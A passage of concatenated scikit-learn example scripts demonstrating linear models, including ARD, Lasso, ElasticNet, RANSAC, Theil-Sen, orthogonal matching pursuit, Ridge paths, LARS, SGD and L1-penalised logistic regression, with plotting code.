    w[i] = stats.norm.rvs(loc=0, scale=1. / np.sqrt(lambda_))
# Create noise with a precision alpha of 50.
alpha_ = 50.
noise = stats.norm.rvs(loc=0, scale=1. / np.sqrt(alpha_), size=n_samples)
# Create the target
y = np.dot(X, w) + noise

###############################################################################
# Fit the ARD Regression
clf = ARDRegression(compute_score=True)
clf.fit(X, y)

ols = LinearRegression()
ols.fit(X, y)

###############################################################################
# Plot the true weights, the estimated weights and the histogram of the
# weights
plt.figure(figsize=(6, 5))
plt.title("Weights of the model")
plt.plot(clf.coef_, color='darkblue', linestyle='-', linewidth=2,
         label="ARD estimate")
plt.plot(ols.coef_, color='yellowgreen', linestyle=':', linewidth=2,
         label="OLS estimate")
plt.plot(w, color='orange', linestyle='-', linewidth=2, label="Ground truth")
plt.xlabel("Features")
plt.ylabel("Values of the weights")
plt.legend(loc=1)

plt.figure(figsize=(6, 5))
plt.title("Histogram of the weights")
plt.hist(clf.coef_, bins=n_features, color='navy', log=True)
plt.scatter(clf.coef_[relevant_features], 5 * np.ones(len(relevant_features)),
            color='gold', marker='o', label="Relevant features")
plt.ylabel("Features")
plt.xlabel("Values of the weights")
plt.legend(loc=1)

plt.figure(figsize=(6, 5))
plt.title("Marginal log-likelihood")
plt.plot(clf.scores_, color='navy', linewidth=2)
plt.ylabel("Score")
plt.xlabel("Iterations")
plt.show()






"""
==============================
Lasso on dense and sparse data
==============================

We show that linear_model.Lasso provides the same results for dense and sparse
data and that in the case of sparse data the speed is improved.

"""
print(__doc__)

from time import time
from scipy import sparse
from scipy import linalg

from sklearn.datasets.samples_generator import make_regression
from sklearn.linear_model import Lasso


###############################################################################
# The two Lasso implementations on Dense data
print("--- Dense matrices")

X, y = make_regression(n_samples=200, n_features=5000, random_state=0)
X_sp = sparse.coo_matrix(X)

alpha = 1
sparse_lasso = Lasso(alpha=alpha, fit_intercept=False, max_iter=1000)
dense_lasso = Lasso(alpha=alpha, fit_intercept=False, max_iter=1000)

t0 = time()
sparse_lasso.fit(X_sp, y)
print("Sparse Lasso done in %fs" % (time() - t0))

t0 = time()
dense_lasso.fit(X, y)
print("Dense Lasso done in %fs" % (time() - t0))

print("Distance between coefficients : %s"
      % linalg.norm(sparse_lasso.coef_ - dense_lasso.coef_))

###############################################################################
# The two Lasso implementations on Sparse data
print("--- Sparse matrices")

Xs = X.copy()
Xs[Xs < 2.5] = 0.0
Xs = sparse.coo_matrix(Xs)
Xs = Xs.tocsc()

print("Matrix density : %s %%" % (Xs.nnz / float(X.size) * 100))

alpha = 0.1
sparse_lasso = Lasso(alpha=alpha, fit_intercept=False, max_iter=10000)
dense_lasso = Lasso(alpha=alpha, fit_intercept=False, max_iter=10000)

t0 = time()
sparse_lasso.fit(Xs, y)
print("Sparse Lasso done in %fs" % (time() - t0))

t0 = time()
dense_lasso.fit(Xs.toarray(), y)
print("Dense Lasso done in %fs" % (time() - t0))

print("Distance between coefficients : %s"
      % linalg.norm(sparse_lasso.coef_ - dense_lasso.coef_))






"""
========================================
Lasso and Elastic Net for Sparse Signals
========================================

Estimates Lasso and Elastic-Net regression models on a manually generated
sparse signal corrupted with an additive noise. Estimated coefficients are
compared with the ground-truth.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn.metrics import r2_score

###############################################################################
# generate some sparse data to play with
np.random.seed(42)

n_samples, n_features = 50, 200
X = np.random.randn(n_samples, n_features)
coef = 3 * np.random.randn(n_features)
inds = np.arange(n_features)
np.random.shuffle(inds)
coef[inds[10:]] = 0  # sparsify coef
y = np.dot(X, coef)

# add noise
y += 0.01 * np.random.normal((n_samples,))

# Split data in train set and test set
n_samples = X.shape[0]
X_train, y_train = X[:n_samples / 2], y[:n_samples / 2]
X_test, y_test = X[n_samples / 2:], y[n_samples / 2:]

###############################################################################
# Lasso
from sklearn.linear_model import Lasso

alpha = 0.1
lasso = Lasso(alpha=alpha)

y_pred_lasso = lasso.fit(X_train, y_train).predict(X_test)
r2_score_lasso = r2_score(y_test, y_pred_lasso)
print(lasso)
print("r^2 on test data : %f" % r2_score_lasso)

###############################################################################
# ElasticNet
from sklearn.linear_model import ElasticNet

enet = ElasticNet(alpha=alpha, l1_ratio=0.7)

y_pred_enet = enet.fit(X_train, y_train).predict(X_test)
r2_score_enet = r2_score(y_test, y_pred_enet)
print(enet)
print("r^2 on test data : %f" % r2_score_enet)

plt.plot(enet.coef_, color='lightgreen', linewidth=2,
         label='Elastic net coefficients')
plt.plot(lasso.coef_, color='gold', linewidth=2,
         label='Lasso coefficients')
plt.plot(coef, '--', color='navy', label='original coefficients')
plt.legend(loc='best')
plt.title("Lasso R^2: %f, Elastic Net R^2: %f"
          % (r2_score_lasso, r2_score_enet))
plt.show()






"""
===========================================
Robust linear model estimation using RANSAC
===========================================

In this example we see how to robustly fit a linear model to faulty data using
the RANSAC algorithm.

"""
import numpy as np
from matplotlib import pyplot as plt

from sklearn import linear_model, datasets


n_samples = 1000
n_outliers = 50


X, y, coef = datasets.make_regression(n_samples=n_samples, n_features=1,
                                      n_informative=1, noise=10,
                                      coef=True, random_state=0)

# Add outlier data
np.random.seed(0)
X[:n_outliers] = 3 + 0.5 * np.random.normal(size=(n_outliers, 1))
y[:n_outliers] = -3 + 10 * np.random.normal(size=n_outliers)

# Fit line using all data
model = linear_model.LinearRegression()
model.fit(X, y)

# Robustly fit linear model with RANSAC algorithm
model_ransac = linear_model.RANSACRegressor(linear_model.LinearRegression())
model_ransac.fit(X, y)
inlier_mask = model_ransac.inlier_mask_
outlier_mask = np.logical_not(inlier_mask)

# Predict data of estimated models
line_X = np.arange(-5, 5)
line_y = model.predict(line_X[:, np.newaxis])
line_y_ransac = model_ransac.predict(line_X[:, np.newaxis])

# Compare estimated coefficients
print("Estimated coefficients (true, normal, RANSAC):")
print(coef, model.coef_, model_ransac.estimator_.coef_)

lw = 2
plt.scatter(X[inlier_mask], y[inlier_mask], color='yellowgreen', marker='.',
            label='Inliers')
plt.scatter(X[outlier_mask], y[outlier_mask], color='gold', marker='.',
            label='Outliers')
plt.plot(line_X, line_y, color='navy', linestyle='-', linewidth=lw,
         label='Linear regressor')
plt.plot(line_X, line_y_ransac, color='cornflowerblue', linestyle='-',
         linewidth=lw, label='RANSAC regressor')
plt.legend(loc='lower right')
plt.show()






"""
============================================================
Sparse recovery: feature selection for sparse linear models
============================================================

Given a small number of observations, we want to recover which features
of X are relevant to explain y. For this :ref:`sparse linear models
<l1_feature_selection>` can outperform standard statistical tests if the
true model is sparse, i.e. if a small fraction of the features are
relevant.

As detailed in :ref:`the compressive sensing notes
<compressive_sensing>`, the ability of L1-based approach to identify the
relevant variables depends on the sparsity of the ground truth, the
number of samples, the number of features, the conditioning of the
design matrix on the signal subspace, the amount of noise, and the
absolute value of the smallest non-zero coefficient [Wainwright2006]
(http://statistics.berkeley.edu/sites/default/files/tech-reports/709.pdf).

Here we keep all parameters constant and vary the conditioning of the
design matrix. For a well-conditioned design matrix (small mutual
incoherence) we are exactly in compressive sensing conditions (i.i.d
Gaussian sensing matrix), and L1-recovery with the Lasso performs very
well. For an ill-conditioned matrix (high mutual incoherence),
regressors are very correlated, and the Lasso randomly selects one.
However, randomized-Lasso can recover the ground truth well.

In each situation, we first vary the alpha parameter setting the sparsity
of the estimated model and look at the stability scores of the randomized
Lasso. This analysis, knowing the ground truth, shows an optimal regime
in which relevant features stand out from the irrelevant ones. If alpha
is chosen too small, non-relevant variables enter the model. On the
opposite, if alpha is selected too large, the Lasso is equivalent to
stepwise regression, and thus brings no advantage over a univariate
F-test.

In a second time, we set alpha and compare the performance of different
feature selection methods, using the area under curve (AUC) of the
precision-recall.
"""
print(__doc__)

# Author: Alexandre Gramfort and Gael Varoquaux
# License: BSD 3 clause

import warnings

import matplotlib.pyplot as plt
import numpy as np
from scipy import linalg

from sklearn.linear_model import (RandomizedLasso, lasso_stability_path,
                                  LassoLarsCV)
from sklearn.feature_selection import f_regression
from sklearn.preprocessing import StandardScaler
from sklearn.metrics import auc, precision_recall_curve
from sklearn.ensemble import ExtraTreesRegressor
from sklearn.utils.extmath import pinvh
from sklearn.exceptions import ConvergenceWarning


def mutual_incoherence(X_relevant, X_irelevant):
    """Mutual incoherence, as defined by formula (26a) of [Wainwright2006].
    """
    projector = np.dot(np.dot(X_irelevant.T, X_relevant),
                       pinvh(np.dot(X_relevant.T, X_relevant)))
    return np.max(np.abs(projector).sum(axis=1))


for conditioning in (1, 1e-4):
    ###########################################################################
    # Simulate regression data with a correlated design
    n_features = 501
    n_relevant_features = 3
    noise_level = .2
    coef_min = .2
    # The Donoho-Tanner phase transition is around n_samples=25: below we
    # will completely fail to recover in the well-conditioned case
    n_samples = 25
    block_size = n_relevant_features

    rng = np.random.RandomState(42)

    # The coefficients of our model
    coef = np.zeros(n_features)
    coef[:n_relevant_features] = coef_min + rng.rand(n_relevant_features)

    # The correlation of our design: variables correlated by blocs of 3
    corr = np.zeros((n_features, n_features))
    for i in range(0, n_features, block_size):
        corr[i:i + block_size, i:i + block_size] = 1 - conditioning
    corr.flat[::n_features + 1] = 1
    corr = linalg.cholesky(corr)

    # Our design
    X = rng.normal(size=(n_samples, n_features))
    X = np.dot(X, corr)
    # Keep [Wainwright2006] (26c) constant
    X[:n_relevant_features] /= np.abs(
        linalg.svdvals(X[:n_relevant_features])).max()
    X = StandardScaler().fit_transform(X.copy())

    # The output variable
    y = np.dot(X, coef)
    y /= np.std(y)
    # We scale the added noise as a function of the average correlation
    # between the design and the output variable
    y += noise_level * rng.normal(size=n_samples)
    mi = mutual_incoherence(X[:, :n_relevant_features],
                            X[:, n_relevant_features:])

    ###########################################################################
    # Plot stability selection path, using a high eps for early stopping
    # of the path, to save computation time
    alpha_grid, scores_path = lasso_stability_path(X, y, random_state=42,
                                                   eps=0.05)

    plt.figure()
    # We plot the path as a function of alpha/alpha_max to the power 1/3: the
    # power 1/3 scales the path less brutally than the log, and enables to
    # see the progression along the path
    hg = plt.plot(alpha_grid[1:] ** .333, scores_path[coef != 0].T[1:], 'r')
    hb = plt.plot(alpha_grid[1:] ** .333, scores_path[coef == 0].T[1:], 'k')
    ymin, ymax = plt.ylim()
    plt.xlabel(r'$(\alpha / \alpha_{max})^{1/3}$')
    plt.ylabel('Stability score: proportion of times selected')
    plt.title('Stability Scores Path - Mutual incoherence: %.1f' % mi)
    plt.axis('tight')
    plt.legend((hg[0], hb[0]), ('relevant features', 'irrelevant features'),
               loc='best')

    ###########################################################################
    # Plot the estimated stability scores for a given alpha

    # Use 6-fold cross-validation rather than the default 3-fold: it leads to
    # a better choice of alpha:
    # Stop the user warnings outputs- they are not necessary for the example
    # as it is specifically set up to be challenging.
    with warnings.catch_warnings():
        warnings.simplefilter('ignore', UserWarning)
        warnings.simplefilter('ignore', ConvergenceWarning)
        lars_cv = LassoLarsCV(cv=6).fit(X, y)

    # Run the RandomizedLasso: we use a paths going down to .1*alpha_max
    # to avoid exploring the regime in which very noisy variables enter
    # the model
    alphas = np.linspace(lars_cv.alphas_[0], .1 * lars_cv.alphas_[0], 6)
    clf = RandomizedLasso(alpha=alphas, random_state=42).fit(X, y)
    trees = ExtraTreesRegressor(100).fit(X, y)
    # Compare with F-score
    F, _ = f_regression(X, y)

    plt.figure()
    for name, score in [('F-test', F),
                        ('Stability selection', clf.scores_),
                        ('Lasso coefs', np.abs(lars_cv.coef_)),
                        ('Trees', trees.feature_importances_),
                        ]:
        precision, recall, thresholds = precision_recall_curve(coef != 0,
                                                               score)
        plt.semilogy(np.maximum(score / np.max(score), 1e-4),
                     label="%s. AUC: %.3f" % (name, auc(recall, precision)))

    plt.plot(np.where(coef != 0)[0], [2e-4] * n_relevant_features, 'mo',
             label="Ground truth")
    plt.xlabel("Features")
    plt.ylabel("Score")
    # Plot only the 100 first coefficients
    plt.xlim(0, 100)
    plt.legend(loc='best')
    plt.title('Feature selection scores - Mutual incoherence: %.1f'
              % mi)

plt.show()






"""
===========================
Orthogonal Matching Pursuit
===========================

Using orthogonal matching pursuit for recovering a sparse signal from a noisy
measurement encoded with a dictionary
"""
print(__doc__)

import matplotlib.pyplot as plt
import numpy as np
from sklearn.linear_model import OrthogonalMatchingPursuit
from sklearn.linear_model import OrthogonalMatchingPursuitCV
from sklearn.datasets import make_sparse_coded_signal

n_components, n_features = 512, 100
n_nonzero_coefs = 17

# generate the data
###################

# y = Xw
# |x|_0 = n_nonzero_coefs

y, X, w = make_sparse_coded_signal(n_samples=1,
                                   n_components=n_components,
                                   n_features=n_features,
                                   n_nonzero_coefs=n_nonzero_coefs,
                                   random_state=0)

idx, = w.nonzero()

# distort the clean signal
##########################
y_noisy = y + 0.05 * np.random.randn(len(y))

# plot the sparse signal
########################
plt.figure(figsize=(7, 7))
plt.subplot(4, 1, 1)
plt.xlim(0, 512)
plt.title("Sparse signal")
plt.stem(idx, w[idx])

# plot the noise-free reconstruction
####################################

omp = OrthogonalMatchingPursuit(n_nonzero_coefs=n_nonzero_coefs)
omp.fit(X, y)
coef = omp.coef_
idx_r, = coef.nonzero()
plt.subplot(4, 1, 2)
plt.xlim(0, 512)
plt.title("Recovered signal from noise-free measurements")
plt.stem(idx_r, coef[idx_r])

# plot the noisy reconstruction
###############################
omp.fit(X, y_noisy)
coef = omp.coef_
idx_r, = coef.nonzero()
plt.subplot(4, 1, 3)
plt.xlim(0, 512)
plt.title("Recovered signal from noisy measurements")
plt.stem(idx_r, coef[idx_r])

# plot the noisy reconstruction with number of non-zeros set by CV
##################################################################
omp_cv = OrthogonalMatchingPursuitCV()
omp_cv.fit(X, y_noisy)
coef = omp_cv.coef_
idx_r, = coef.nonzero()
plt.subplot(4, 1, 4)
plt.xlim(0, 512)
plt.title("Recovered signal from noisy measurements with CV")
plt.stem(idx_r, coef[idx_r])

plt.subplots_adjust(0.06, 0.04, 0.94, 0.90, 0.20, 0.38)
plt.suptitle('Sparse signal recovery with Orthogonal Matching Pursuit',
             fontsize=16)
plt.show()






"""
===========================================================
Plot Ridge coefficients as a function of the regularization
===========================================================

Shows the effect of collinearity in the coefficients of an estimator.

.. currentmodule:: sklearn.linear_model

:class:`Ridge` Regression is the estimator used in this example.
Each color represents a different feature of the
coefficient vector, and this is displayed as a function of the
regularization parameter.

This example also shows the usefulness of applying Ridge regression
to highly ill-conditioned matrices. For such matrices, a slight
change in the target variable can cause huge variances in the
calculated weights. In such cases, it is useful to set a certain
regularization (alpha) to reduce this variation (noise).

When alpha is very large, the regularization effect dominates the
squared loss function and the coefficients tend to zero.
At the end of the path, as alpha tends toward zero
and the solution tends towards the ordinary least squares, coefficients
exhibit big oscillations. In practise it is necessary to tune alpha
in such a way that a balance is maintained between both.
"""

# Author: Fabian Pedregosa -- <fabian.pedregosa@inria.fr>
# License: BSD 3 clause

print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import linear_model

# X is the 10x10 Hilbert matrix
X = 1. / (np.arange(1, 11) + np.arange(0, 10)[:, np.newaxis])
y = np.ones(10)

###############################################################################
# Compute paths

n_alphas = 200
alphas = np.logspace(-10, -2, n_alphas)
clf = linear_model.Ridge(fit_intercept=False)

coefs = []
for a in alphas:
    clf.set_params(alpha=a)
    clf.fit(X, y)
    coefs.append(clf.coef_)

###############################################################################
# Display results

ax = plt.gca()

ax.plot(alphas, coefs)
ax.set_xscale('log')
ax.set_xlim(ax.get_xlim()[::-1])  # reverse axis
plt.xlabel('alpha')
plt.ylabel('weights')
plt.title('Ridge coefficients as a function of the regularization')
plt.axis('tight')
plt.show()






"""
====================
Theil-Sen Regression
====================

Computes a Theil-Sen Regression on a synthetic dataset.

See :ref:`theil_sen_regression` for more information on the regressor.

Compared to the OLS (ordinary least squares) estimator, the Theil-Sen
estimator is robust against outliers. It has a breakdown point of about 29.3%
in case of a simple linear regression which means that it can tolerate
arbitrary corrupted data (outliers) of up to 29.3% in the two-dimensional
case.

The estimation of the model is done by calculating the slopes and intercepts
of a subpopulation of all possible combinations of p subsample points. If an
intercept is fitted, p must be greater than or equal to n_features + 1. The
final slope and intercept is then defined as the spatial median of these
slopes and intercepts.

In certain cases Theil-Sen performs better than :ref:`RANSAC
<ransac_regression>` which is also a robust method. This is illustrated in the
second example below where outliers with respect to the x-axis perturb RANSAC.
Tuning the ``residual_threshold`` parameter of RANSAC remedies this but in
general a priori knowledge about the data and the nature of the outliers is
needed.
Due to the computational complexity of Theil-Sen it is recommended to use it
only for small problems in terms of number of samples and features. For larger
problems the ``max_subpopulation`` parameter restricts the magnitude of all
possible combinations of p subsample points to a randomly chosen subset and
therefore also limits the runtime. Therefore, Theil-Sen is applicable to larger
problems with the drawback of losing some of its mathematical properties since
it then works on a random subset.
"""

# Author: Florian Wilhelm -- <florian.wilhelm@gmail.com>
# License: BSD 3 clause

import time
import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import LinearRegression, TheilSenRegressor
from sklearn.linear_model import RANSACRegressor

print(__doc__)

estimators = [('OLS', LinearRegression()),
              ('Theil-Sen', TheilSenRegressor(random_state=42)),
              ('RANSAC', RANSACRegressor(random_state=42)), ]
colors = {'OLS': 'turquoise', 'Theil-Sen': 'gold', 'RANSAC': 'lightgreen'}
lw = 2

##############################################################################
# Outliers only in the y direction

np.random.seed(0)
n_samples = 200
# Linear model y = 3*x + N(2, 0.1**2)
x = np.random.randn(n_samples)
w = 3.
c = 2.
noise = 0.1 * np.random.randn(n_samples)
y = w * x + c + noise
# 10% outliers
y[-20:] += -20 * x[-20:]
X = x[:, np.newaxis]

plt.scatter(x, y, color='indigo', marker='x', s=40)
line_x = np.array([-3, 3])
for name, estimator in estimators:
    t0 = time.time()
    estimator.fit(X, y)
    elapsed_time = time.time() - t0
    y_pred = estimator.predict(line_x.reshape(2, 1))
    plt.plot(line_x, y_pred, color=colors[name], linewidth=lw,
             label='%s (fit time: %.2fs)' % (name, elapsed_time))

plt.axis('tight')
plt.legend(loc='upper left')
plt.title("Corrupt y")

##############################################################################
# Outliers in the X direction

np.random.seed(0)
# Linear model y = 3*x + N(2, 0.1**2)
x = np.random.randn(n_samples)
noise = 0.1 * np.random.randn(n_samples)
y = 3 * x + 2 + noise
# 10% outliers
x[-20:] = 9.9
y[-20:] += 22
X = x[:, np.newaxis]

plt.figure()
plt.scatter(x, y, color='indigo', marker='x', s=40)

line_x = np.array([-3, 10])
for name, estimator in estimators:
    t0 = time.time()
    estimator.fit(X, y)
    elapsed_time = time.time() - t0
    y_pred = estimator.predict(line_x.reshape(2, 1))
    plt.plot(line_x, y_pred, color=colors[name], linewidth=lw,
             label='%s (fit time: %.2fs)' % (name, elapsed_time))

plt.axis('tight')
plt.legend(loc='upper left')
plt.title("Corrupt x")
plt.show()






#!/usr/bin/env python
"""
=====================
Lasso path using LARS
=====================

Computes Lasso Path along the regularization parameter using the LARS
algorithm on the diabetes dataset. Each color represents a different
feature of the coefficient vector, and this is displayed as a function
of the regularization parameter.

"""
print(__doc__)

# Author: Fabian Pedregosa <fabian.pedregosa@inria.fr>
#         Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn import linear_model
from sklearn import datasets

diabetes = datasets.load_diabetes()
X = diabetes.data
y = diabetes.target

print("Computing regularization path using the LARS ...")
alphas, _, coefs = linear_model.lars_path(X, y, method='lasso', verbose=True)

xx = np.sum(np.abs(coefs.T), axis=1)
xx /= xx[-1]

plt.plot(xx, coefs.T)
ymin, ymax = plt.ylim()
plt.vlines(xx, ymin, ymax, linestyle='dashed')
plt.xlabel('|coef| / max|coef|')
plt.ylabel('Coefficients')
plt.title('LASSO Path')
plt.axis('tight')
plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
Linear Regression Example
=========================================================
This example uses the only the first feature of the `diabetes` dataset, in
order to illustrate a two-dimensional plot of this regression technique. The
straight line can be seen in the plot, showing how linear regression attempts
to draw a straight line that will best minimize the residual sum of squares
between the observed responses in the dataset, and the responses predicted by
the linear approximation.

The coefficients, the residual sum of squares and the variance score are also
calculated.

"""
print(__doc__)


# Code source: Jaques Grobler
# License: BSD 3 clause


import matplotlib.pyplot as plt
import numpy as np
from sklearn import datasets, linear_model

# Load the diabetes dataset
diabetes = datasets.load_diabetes()


# Use only one feature
diabetes_X = diabetes.data[:, np.newaxis, 2]

# Split the data into training/testing sets
diabetes_X_train = diabetes_X[:-20]
diabetes_X_test = diabetes_X[-20:]

# Split the targets into training/testing sets
diabetes_y_train = diabetes.target[:-20]
diabetes_y_test = diabetes.target[-20:]

# Create linear regression object
regr = linear_model.LinearRegression()

# Train the model using the training sets
regr.fit(diabetes_X_train, diabetes_y_train)

# The coefficients
print('Coefficients: \n', regr.coef_)
# The mean squared error
print("Mean squared error: %.2f"
      % np.mean((regr.predict(diabetes_X_test) - diabetes_y_test) ** 2))
# Explained variance score: 1 is perfect prediction
print('Variance score: %.2f' % regr.score(diabetes_X_test, diabetes_y_test))

# Plot outputs
plt.scatter(diabetes_X_test, diabetes_y_test,  color='black')
plt.plot(diabetes_X_test, regr.predict(diabetes_X_test), color='blue',
         linewidth=3)

plt.xticks(())
plt.yticks(())

plt.show()






"""
===================================================
Lasso model selection: Cross-Validation / AIC / BIC
===================================================

Use the Akaike information criterion (AIC), the Bayes Information
criterion (BIC) and cross-validation to select an optimal value
of the regularization parameter alpha of the :ref:`lasso` estimator.

Results obtained with LassoLarsIC are based on AIC/BIC criteria.

Information-criterion based model selection is very fast, but it
relies on a proper estimation of degrees of freedom, are
derived for large samples (asymptotic results) and assume the model
is correct, i.e. that the data are actually generated by this model.
They also tend to break when the problem is badly conditioned
(more features than samples).

For cross-validation, we use 20-fold with 2 algorithms to compute the
Lasso path: coordinate descent, as implemented by the LassoCV class, and
Lars (least angle regression) as implemented by the LassoLarsCV class.
Both algorithms give roughly the same results. They differ with regards
to their execution speed and sources of numerical errors.

Lars computes a path solution only for each kink in the path. As a
result, it is very efficient when there are only of few kinks, which is
the case if there are few features or samples. Also, it is able to
compute the full path without setting any meta parameter. On the
opposite, coordinate descent compute the path points on a pre-specified
grid (here we use the default). Thus it is more efficient if the number
of grid points is smaller than the number of kinks in the path. Such a
strategy can be interesting if the number of features is really large
and there are enough samples to select a large amount. In terms of
numerical errors, for heavily correlated variables, Lars will accumulate
more errors, while the coordinate descent algorithm will only sample the
path on a grid.

Note how the optimal value of alpha varies for each fold. This
illustrates why nested-cross validation is necessary when trying to
evaluate the performance of a method for which a parameter is chosen by
cross-validation: this choice of parameter may not be optimal for unseen
data.
"""
print(__doc__)

# Author: Olivier Grisel, Gael Varoquaux, Alexandre Gramfort
# License: BSD 3 clause

import time

import numpy as np
import matplotlib.pyplot as plt

from sklearn.linear_model import LassoCV, LassoLarsCV, LassoLarsIC
from sklearn import datasets

diabetes = datasets.load_diabetes()
X = diabetes.data
y = diabetes.target

rng = np.random.RandomState(42)
X = np.c_[X, rng.randn(X.shape[0], 14)]  # add some bad features

# normalize data as done by Lars to allow for comparison
X /= np.sqrt(np.sum(X ** 2, axis=0))

##############################################################################
# LassoLarsIC: least angle regression with BIC/AIC criterion

model_bic = LassoLarsIC(criterion='bic')
t1 = time.time()
model_bic.fit(X, y)
t_bic = time.time() - t1
alpha_bic_ = model_bic.alpha_

model_aic = LassoLarsIC(criterion='aic')
model_aic.fit(X, y)
alpha_aic_ = model_aic.alpha_


def plot_ic_criterion(model, name, color):
    alpha_ = model.alpha_
    alphas_ = model.alphas_
    criterion_ = model.criterion_
    plt.plot(-np.log10(alphas_), criterion_, '--', color=color,
             linewidth=3, label='%s criterion' % name)
    plt.axvline(-np.log10(alpha_), color=color, linewidth=3,
                label='alpha: %s estimate' % name)
    plt.xlabel('-log(alpha)')
    plt.ylabel('criterion')

plt.figure()
plot_ic_criterion(model_aic, 'AIC', 'b')
plot_ic_criterion(model_bic, 'BIC', 'r')
plt.legend()
plt.title('Information-criterion for model selection (training time %.3fs)'
          % t_bic)

##############################################################################
# LassoCV: coordinate descent

# Compute paths
print("Computing regularization path using the coordinate descent lasso...")
t1 = time.time()
model = LassoCV(cv=20).fit(X, y)
t_lasso_cv = time.time() - t1

# Display results
m_log_alphas = -np.log10(model.alphas_)

plt.figure()
ymin, ymax = 2300, 3800
plt.plot(m_log_alphas, model.mse_path_, ':')
plt.plot(m_log_alphas, model.mse_path_.mean(axis=-1), 'k',
         label='Average across the folds', linewidth=2)
plt.axvline(-np.log10(model.alpha_), linestyle='--', color='k',
            label='alpha: CV estimate')

plt.legend()

plt.xlabel('-log(alpha)')
plt.ylabel('Mean square error')
plt.title('Mean square error on each fold: coordinate descent '
          '(train time: %.2fs)' % t_lasso_cv)
plt.axis('tight')
plt.ylim(ymin, ymax)

##############################################################################
# LassoLarsCV: least angle regression

# Compute paths
print("Computing regularization path using the Lars lasso...")
t1 = time.time()
model = LassoLarsCV(cv=20).fit(X, y)
t_lasso_lars_cv = time.time() - t1

# Display results
m_log_alphas = -np.log10(model.cv_alphas_)

plt.figure()
plt.plot(m_log_alphas, model.cv_mse_path_, ':')
plt.plot(m_log_alphas, model.cv_mse_path_.mean(axis=-1), 'k',
         label='Average across the folds', linewidth=2)
plt.axvline(-np.log10(model.alpha_), linestyle='--', color='k',
            label='alpha CV')
plt.legend()

plt.xlabel('-log(alpha)')
plt.ylabel('Mean square error')
plt.title('Mean square error on each fold: Lars (train time: %.2fs)'
          % t_lasso_lars_cv)
plt.axis('tight')
plt.ylim(ymin, ymax)

plt.show()






"""
========================================
Plot multi-class SGD on the iris dataset
========================================

Plot decision surface of multi-class SGD on iris dataset.
The hyperplanes corresponding to the three one-versus-all (OVA) classifiers
are represented by the dashed lines.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.linear_model import SGDClassifier

# import some data to play with
iris = datasets.load_iris()
X = iris.data[:, :2]  # we only take the first two features. We could
                      # avoid this ugly slicing by using a two-dim dataset
y = iris.target
colors = "bry"

# shuffle
idx = np.arange(X.shape[0])
np.random.seed(13)
np.random.shuffle(idx)
X = X[idx]
y = y[idx]

# standardize
mean = X.mean(axis=0)
std = X.std(axis=0)
X = (X - mean) / std

h = .02  # step size in the mesh

clf = SGDClassifier(alpha=0.001, n_iter=100).fit(X, y)

# create a mesh to plot in
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                     np.arange(y_min, y_max, h))

# Plot the decision boundary. For that, we will assign a color to each
# point in the mesh [x_min, x_max]x[y_min, y_max].
Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
# Put the result into a color plot
Z = Z.reshape(xx.shape)
cs = plt.contourf(xx, yy, Z, cmap=plt.cm.Paired)
plt.axis('tight')

# Plot also the training points
for i, color in zip(clf.classes_, colors):
    idx = np.where(y == i)
    plt.scatter(X[idx, 0], X[idx, 1], c=color, label=iris.target_names[i],
                cmap=plt.cm.Paired)
plt.title("Decision surface of multi-class SGD")
plt.axis('tight')

# Plot the three one-against-all classifiers
xmin, xmax = plt.xlim()
ymin, ymax = plt.ylim()
coef = clf.coef_
intercept = clf.intercept_


def plot_hyperplane(c, color):
    def line(x0):
        return (-(x0 * coef[c, 0]) - intercept[c]) / coef[c, 1]

    plt.plot([xmin, xmax], [line(xmin), line(xmax)],
             ls="--", color=color)

for i, color in zip(clf.classes_, colors):
    plot_hyperplane(i, color)
plt.legend()
plt.show()






"""
==============================================
L1 Penalty and Sparsity in Logistic Regression
==============================================

Comparison of the sparsity (percentage of zero coefficients) of solutions when
L1 and L2 penalty are used for different values of C. We can see that large
values of C give more freedom to the model.  Conversely, smaller values of C
constrain the model more. In the L1 penalty case, this leads to sparser
solutions.

We classify 8x8 images of digits into two classes: 0-4 against 5-9.
The visualization shows coefficients of the models for varying C.
"""

print(__doc__)

# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Andreas Mueller <amueller@ais.uni-bonn.de>
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn.linear_model import LogisticRegression
from sklearn import datasets
from sklearn.preprocessing import StandardScaler

digits = datasets.load_digits()

X, y = digits.data, digits.target
X = StandardScaler().fit_transform(X)

# classify small against large digits
y = (y > 4).astype(np.int)


# Set regularization parameter
for i, C in enumerate((100, 1, 0.01)):
    # turn down tolerance for short training time
    clf_l1_LR = LogisticRegression(C=C, penalty='l1', tol=0.01)
    clf_l2_LR = LogisticRegression(C=C, penalty='l2', tol=0.01)
    clf_l1_LR.fit(X, y)
    clf_l2_LR.fit(X, y)

    coef_l1_LR = clf_l1_LR.coef_.ravel()
    coef_l2_LR = clf_l2_LR.coef_.ravel()

    # coef_l1_LR contains zeros due to the
    # L1 sparsity inducing norm

    sparsity_l1_LR = np.mean(coef_l1_LR == 0) * 100
    sparsity_l2_LR = np.mean(coef_l2_LR == 0) * 100

    print("C=%.2f" % C)
    print("Sparsity with L1 penalty: %.2f%%" % sparsity_l1_LR)
    print("score with L1 penalty: %.4f" % clf_l1_LR.score(X, y))
    print("Sparsity with L2 penalty: %.2f%%" % sparsity_l2_LR)
    print("score with L2 penalty: %.4f" % clf_l2_LR.score(X, y))

    l1_plot = plt.subplot(3, 2, 2 * i + 1)
    l2_plot = plt.subplot(3, 2, 2 * (i + 1))
    if i == 0:
        l1_plot.set_title("L1 penalty")
        l2_plot.set_title("L2 penalty")

    l1_plot.imshow(np.abs(coef_l1_LR.reshape(8, 8)), interpolation='nearest',
                   cmap='binary', vmax=1, vmin=0)
    l2_plot.imshow(np.abs(coef_l2_LR.reshape(8, 8)), interpolation='nearest',
                   cmap='binary', vmax=1, vmin=0)
